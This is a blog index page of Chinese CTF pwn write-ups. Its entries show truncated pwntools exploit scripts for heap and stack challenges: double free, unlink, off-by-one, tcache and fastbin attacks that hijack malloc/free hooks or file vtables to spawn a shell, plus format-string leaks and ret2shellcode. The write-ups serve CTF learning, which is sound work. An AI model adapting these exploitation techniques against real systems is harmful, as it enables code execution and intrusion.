题目
文章平均质量分 65
doudoudedi
My journey is the sea of star
展开
-
pwnbale.tw Secret Garden
思路我是做了3次double free其实不需要这么多次em,其实可以构造堆块重叠的但是我看可以直接并且远程也很稳定就用double free了,先打malloc_hook打不同(好像可以使用realloc_hook调栈)我的思路是将stderr的flag值写成/bin/sh,虚表写成堆地址然后布置好system在exit函数调用fllush函数的时候触发overflow调用就会调用system("/bin/sh"),shell很稳定不错嘻嘻from pwn import *#p=process(".原创 2020-12-30 18:35:11 · 293 阅读 · 0 评论 -
base64隐写
import sysdef get_base64_diff_value(s1, s2):base64chars = ‘ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/’res = 0for i in xrange(len(s1)):if s1[i] != s2[i]:return abs(base64chars.index(s1[i]) - base64chars.index(s2[i]))return resd原创 2020-11-01 21:56:18 · 488 阅读 · 1 评论 -
pwn-湖湘杯2020
from pwn import *p=process('./bh')elf=ELF('./bh')libc=elf.libccontext.terminal=['tmux','splitw','-h']def menu(idx): p.sendlineafter(">>",str(idx))def add(): menu(1)def show(idx): menu(2) p.sendlineafter("index?\n",str(idx))de原创 2020-11-04 10:36:23 · 539 阅读 · 1 评论 -
羊城杯
签到简单的uafrom pwn import *context.terminal = ['tmux', 'splitw', '-h']#p=process('./sg')p=remote('183.129.189.60',10029)elf=ELF('./sg')libc=elf.libcdef add(size,name,mess): p.sendlineafter(': ','1') p.sendlineafter(':',str(size)) p.sendlineafter('原创 2020-09-15 20:45:54 · 580 阅读 · 0 评论 -
记录护网暂停的日常(ciscn2020)
这几天我真的是忙的一就记录一下这几天的pwn的思路国赛pwn开始看no_free想到了house of orange但是不太会利用,堆学的不是很好.jpg但是之后做就是感觉来了,晚上做了2到成功以分区十几名的成绩进入了分区赛,希望大佬们轻点打钓鱼城杯就帮队伍做了2个pwn,真的难无法F5还是队友厉害3个pwnbabyjsc这个硬是被玩成了签到,python的input函数有eval的功能就直接命令执行了如图所示>>> input()__import__("os").sys原创 2020-08-28 14:03:40 · 1111 阅读 · 0 评论 -
root_me_stack_buffer_overflow_basic
ARM pwn简单的栈溢出,就是环境搭建的问题调试出偏移0xa4,发现啥保护没有开,还泄漏了栈地址,就直接ret2shellcode了from pwn import *#p=process(qemu-arm -g 1234 -L /usr/arm-linux-gnueabihf/ ./root_me_stack_buffer_overflow_basiac"])p=remote("node3.buuoj.cn",27876)p.sendlineafter('Give me data to dump原创 2020-08-10 13:43:09 · 542 阅读 · 0 评论 -
ciscn_2019_s_1
思路通过off by null写key值然后unlink写bss段再次double free写free_hook即可拿到shellexp:from pwn import *#p=process('./ciscn_s_1')p=remote('node3.buuoj.cn',26429)elf=ELF('./ciscn_s_1')libc=elf.libcdef add(idx,size,data): p.sendlineafter('show','1') p.sendlineafte原创 2020-06-29 19:13:51 · 787 阅读 · 2 评论 -
actf_2019_actfnote
思路通过溢出将topchunk的位置向上提然后申请堆块即可完成一次任意地址写入exp:#!/usr/bin/python2from pwn import *#p=process('./ACTF_2019_ACTFNOTE')p=remote('node3.buuoj.cn',26474)elf=ELF('./ACTF_2019_ACTFNOTE')libc=elf.libcdef add(size,name,content): p.sendlineafter('$ ','1') p.原创 2020-06-22 22:58:59 · 595 阅读 · 0 评论 -
RCTF-2015 nobug
思路有一个格式化字符串的漏洞int sub_8048B32(){ int v0; // eax const char *v1; // eax v0 = strlen(s); v1 = sub_804869D(s, v0, 0); return snprintf(byte_804A8A0, 0x800u, v1);}题目没有开nx我们可以直接布置好shellcode然后跳过去观察栈发现一个地方可以利用.text:08048BD7 sub原创 2020-06-07 21:48:14 · 719 阅读 · 0 评论 -
de1ctf_2019_weapon
这题我多了一个换行搞了老久了服了还是tcl思路有uaf通过写IO来得到libc地址然后通过double free来拿到shellexp:#!/usr/bin/python2from pwn import *p=0def pwn(): global p #p=process('./de1ctf_2019_weapon') p=remote('node3.buuoj.cn',292...原创 2020-05-06 13:50:18 · 729 阅读 · 0 评论 -
5月份36dctf
exec_comm.constprop+1162kaishellPWN_MengxinStack栈不会了orz就是基本的栈溢出操控libc_start_main这个函数来控制程序流程需要将返回地址爆破到libc_start_main+176然后就是基本的ROP了exp:#!/usr/bin/python2from pwn import *p=0def pwn(ip,port,deb...原创 2020-05-04 21:35:32 · 436 阅读 · 1 评论 -
x_nuca_2018_0gadget
思路在bss段上有构造uaf然后劫持got表即可exp:#!/usr/bin/python2from pwn import *def pwn(): #p=process('./X-nuca_2018_0gadget') p=remote('node3.buuoj.cn',27565) elf=ELF('./X-nuca_2018_0gadget') libc=elf.libc ...原创 2020-04-30 16:52:08 · 326 阅读 · 0 评论 -
ciscn_2019_sw_7
思路堆溢出orztcache不要全部写坏不然难搞exp:#!/usr/bin/python2from pwn import *p=0def pwn(ip,port,debug): global p if debug==1: p=process('./ciscn_2019_sw_7') elf=ELF('./ciscn_2019_sw_7') libc=elf.libc...原创 2020-04-23 18:55:05 · 347 阅读 · 0 评论 -
NPUCTF pwn
题目质量很高萌新直接自闭z这2道题都挺基础的easy_heapexp:off by one 造成了任意地址写的漏洞#!/usr/bin/python2from pwn import *p=0def pwn(): global p #p=process('./pwn') p=remote('ha1cyon-ctf.fun',30179) elf=ELF('./pwn') l...原创 2020-04-21 22:03:31 · 776 阅读 · 0 评论 -
ciscn_2019_sw_1
思路通过格式化字符串是程序无限循环(__do_global_dtors_aux_fini_array_entry内存的地址写成main函数地址)我们是通过libc_start_main调用main函数不管是在man函数调用前后都会调用fini函数的指针所以只要将其写坏即可然后将print_got表写成system即可拿到shellexp:from pwn import *#p=proce...原创 2020-04-16 20:42:54 · 619 阅读 · 0 评论 -
ciscn_2019_es_4
思路先unlink将地址key写好然后做一次off by one在tcache attack就行了exp:#!/usr/bin/python2from pwn import *#p=process('./ciscn_2019_es_4')p=remote('node3.buuoj.cn',25382)elf=ELF('./ciscn_2019_es_4')libc=elf.libc...原创 2020-04-08 15:45:43 · 415 阅读 · 0 评论 -
noxctf2018_grocery_list&&actf_2019_message
noxctf2018_grocery_list先是观察函数发现有一个可以泄露栈地址然后通过tcache attack打到栈上泄露libcbase然后再次写入free_hook拿到shellexp:#!/usr/bin/python2from pwn import *#p=process('./GroceryList')p=remote('node3.buuoj.cn',26988)e...原创 2020-03-17 22:45:24 · 541 阅读 · 0 评论 -
高校战疫网络安全分享赛pwn复盘
就做了一个pwn我tcl但是收获很多woodenbox2这道题有先是用chunk overlop然后将unsortbin切割到fastbin(此时unsortbin与fastbin指向了同一个堆块)通过堆溢出将低位覆盖为stdout上面的位置然后写IO_FILE结构体leaklibc基址然后通过fastbin attack打malloc_hook即可IO_FILE结构体的知识可看一下h...原创 2020-03-10 13:46:09 · 877 阅读 · 2 评论 -
ciscn_2019_c_3
思路通过后门函数改fd然后tcache dump打到free_hook即可exp:#!/usr/bin/python2from pwn import *#p=process('./ciscn_2019_c_3')p=remote('node3.buuoj.cn',29374)elf=ELF('./ciscn_2019_c_3')libc=elf.libcdef add(size...原创 2020-03-04 14:06:11 · 420 阅读 · 0 评论 -
suctf2018_heap
suctf2018_heap这道题会一次性申请2个相同大小的chunk做的时候有点逻辑混乱深深的怀疑本来是ubuntu16的环境…思路 :off by one打成堆重叠写到指针段写atoi为system拿shellexp:from pwn import *#p=process('./offbyone')p=remote('node3.buuoj.cn',26238)elf=ELF(...原创 2020-02-27 22:25:22 · 388 阅读 · 0 评论 -
hg2020 pwn
打了我就记录一下(有点记不太清了有点久了~~)Annevi这道题是做2次unlink然后写got表即可#!/usr/bin/python2from pwn import *local=0if local==1: p=process('./Annevi') elf=ELF('./Annevi') libc=elf.libcelse: p=remote('47.103.214....原创 2020-02-23 22:17:08 · 526 阅读 · 0 评论 -
新春战疫公益赛(二)pwn
第一天和第三天直接被爆锤自己已经尽力了武汉加油!!!borrowstack就是基本的栈迁移exp:from pwn import *from LibcSearcher import *#p=process('./borrowstack')p=remote('123.56.85.29',3635)elf=ELF('./borrowstack')libc=elf.libcbss...原创 2020-02-23 22:07:48 · 847 阅读 · 2 评论 -
shanghai2019_boringheap
思路abs函数(取绝对值)的溢出使得为负数然后改size构造2个指针指向同一chunk完成一次double free为远程ubuntu18即可以直接打free_hookexp:from pwn import *#p=process('./pwn')p=remote('node3.buuoj.cn',26942)elf=ELF('./pwn')libc=elf.libcdef ad...原创 2020-02-18 21:14:03 · 384 阅读 · 0 评论 -
X-nuca_2018_offbyone2
思路off by null构造堆重叠然这里的堆块个数充足直接打2次第一次leak libc基址再次布置好堆块然后打free_hook拿到shellexp:from pwn import *#p=process('./X-nuca_2018_offbyone2')p=remote('node3.buuoj.cn',28262)elf=ELF('./X-nuca_2018_offbyo...原创 2020-02-11 14:26:33 · 501 阅读 · 1 评论 -
ciscn_2019_c_5
思路格式化字符串leak然后打free_hookexp:from pwn import *#p=process('./ciscn_2019_c_5')p=remote('node3.buuoj.cn',27000)elf=ELF('./ciscn_2019_c_5')libc=elf.libcdef add(size,story): p.sendlineafter(':'...原创 2020-02-09 12:04:54 · 560 阅读 · 0 评论 -
others_pwn1&&starctf_2019_girlfriend
starctf_2019_girlfriend正常的uaf漏洞fastbin attackexp:from pwn import *#p=process('./starctf_2019_girlfriend')p=remote('node3.buuoj.cn',27758)elf=ELF('./starctf_2019_girlfriend')libc=elf.libcdef ad...原创 2020-02-06 17:38:51 · 660 阅读 · 0 评论 -
axb_2019_heap
思路格式化字符串泄露程序基址和libc基址然后unlink一个指针到bss段将free_hook写入system释放即可拿到shellexp:from pwn import *#p=process('./axb_2019_heap')p=remote('node3.buuoj.cn',29873)elf=ELF('./axb_2019_heap')libc=elf.libc#gdb...原创 2020-02-05 20:22:46 · 958 阅读 · 0 评论 -
others_easyheap
思路堆溢出构造堆块重叠打free_hook为systemexp:from pwn import *#p=process('./easyheap')elf=ELF('./easyheap')libc=elf.libcp=remote('node3.buuoj.cn',29973)def add(size,content): p.sendlineafter(':','1') p.s...原创 2020-02-04 21:27:19 · 450 阅读 · 0 评论 -
ciscn_2019_n_4
堆块上有悬挂的指针直接对它进行写入即可exp:#!/usr/bin/python2from pwn import *#p=process('./ciscn_2019_n_4')p=remote('node3.buuoj.cn',25967)elf=ELF('./ciscn_2019_n_4')libc=elf.libcdef add(size,content): p.sen...原创 2020-02-03 16:08:52 · 1998 阅读 · 3 评论 -
nsctf_online_2019_pwn2
思路先是用leaklibc地址然后fastbin attack打malloc_hook即可exp:#!/usr/bin/python2from pwn import *local=1if local==1: p=process('./nsct2019pwn2') elf=ELF('./nsct2019pwn2') libc=elf.libcelse: p=remote('no...原创 2020-01-31 18:36:44 · 801 阅读 · 0 评论 -
某入群题
不好讲就是入群题exp:#! /usr/bin/python2from pwn import *from LibcSearcher import *local=0if local==1: p=process('../binary/spwn') elf=ELF('../binary/spwn') libc=elf.libcelse: p=remote('node3.buuoj....原创 2020-01-29 12:25:29 · 765 阅读 · 1 评论 -
buuctf warmup
函数很少我们需要控制寄存器的值来执行内核调用(int 80)思路先将字符串/bin/sh写入程序32位的程序用栈传递参数所以我们有充足的空间进行ROP然后跳回程序开始然后将再次读入/bin/sh然后控制好寄存器的值即打开execve的系统调用(这里函数最后的ret会使栈向上提了4个byte所以寄存器控制好了)~~exp:#!/usr/bin/python2from pwn import ...原创 2020-01-28 17:52:02 · 588 阅读 · 2 评论 -
ciscn_2019_s_4
可以看到有栈溢出的漏洞能过控制执行流exp:#!/usr/bin/python2from pwn import *from LibcSearcher import *local=0if local==1: p=process('./ciscn_s_4') elf=ELF('./ciscn_s_4') #libc=elf.libcelse: p=remo...原创 2020-01-26 16:18:26 · 1013 阅读 · 0 评论 -
ciscn_2019_en_3
新年好啊大家解题常规操作tcache打free_hookexp:#!/usr/bin/python2from pwn import *local=0if local==1: p=process('./ciscn_2019_en_3') elf=ELF('./ciscn_2019_en_3') libc=elf.libcelse: p=remote('...原创 2020-01-25 20:00:31 · 933 阅读 · 0 评论 -
BUUCTF bbys_tu_2016&&xm_2019_awd_pwn2
在家希望武汉的师傅们一切都好~~bbys_tu_2016这道有点没搞清额额flag文件是flag.txt是能control但是好像不能ROP也是能读到flag文件的就很简单了还有似乎文件没写好setbuf函数不会先出现io流exp:#!/usr/bin/python2from pwn import *local=0if local==1: p=process('../binary/...原创 2020-01-23 20:07:09 · 1069 阅读 · 0 评论 -
BUUCTF zctf_2016_note3
一道典型的unlink题目整形溢出因为i是无符号长整型如果输入-1就会变得巨大实现堆溢出这里应该可以用unlink泄露libc基址然后用fastbin attack打malloc_hook但是这里有多次写入的edit功能就很好做了先申请4个chunk然后unlink一个指针到bss段上unlink的操作fake chunk的fd和bk必须指回自己也就是一个确定的值具体为``fake ch...原创 2020-01-13 22:44:16 · 493 阅读 · 0 评论 -
BUUCTF ciscn_2019_ne_5
这道题是一道典型的ROP一开始没找到参数~~直接溢出ememexp(其实我写的很麻烦了很简单的)#!/usr/bin/python2from pwn import *local=1if local==1: p=process('../binary/ciscn_2019_ne_5') elf=ELF('../binary/ciscn_2019_ne_5') libc=elf.lib...原创 2020-01-06 13:47:12 · 831 阅读 · 3 评论 -
BUUCTF 0ctf-babyheap
这道题分配内存空间是用calloc释放之后会清空分配的内容edit函数存在堆溢出我们由打赢函数指针数组存在satck地址随机,我们先想到的fastbin attack写onegadget但是要先有libc基址也是先是informationleak然后contorl pc我们就可以先分配4个add(0x10) #0add(0x10) #1add(0x80) #2add(0x10...原创 2019-12-20 14:45:58 · 444 阅读 · 0 评论 -
pwn unlink
unlink需要gobal变量然后可以写入多次,全局变量在heap上面unlink的宏p->fd=FDp->bk=BKif p->fd->bk!=p || p-bk-fd!=pworryelseFD->bk=BK &p-0x18BK->fd=FD &p-0x10如上可以绕过检查result:&p=&p...原创 2019-12-11 22:42:52 · 427 阅读 · 0 评论 -
i春秋答题欢乐赛3 pwn
emem确实很欢乐的第一个题是直接布置shellcode然后跳过去执行即可from pwn import *local=0if local==1: p=process('./2') elf=ELF('./2')else: p=remote('120.55.43.255',11002) elf=ELF('./2')def exp(): p.recvuntil('ID:')...原创 2019-12-02 21:47:34 · 309 阅读 · 0 评论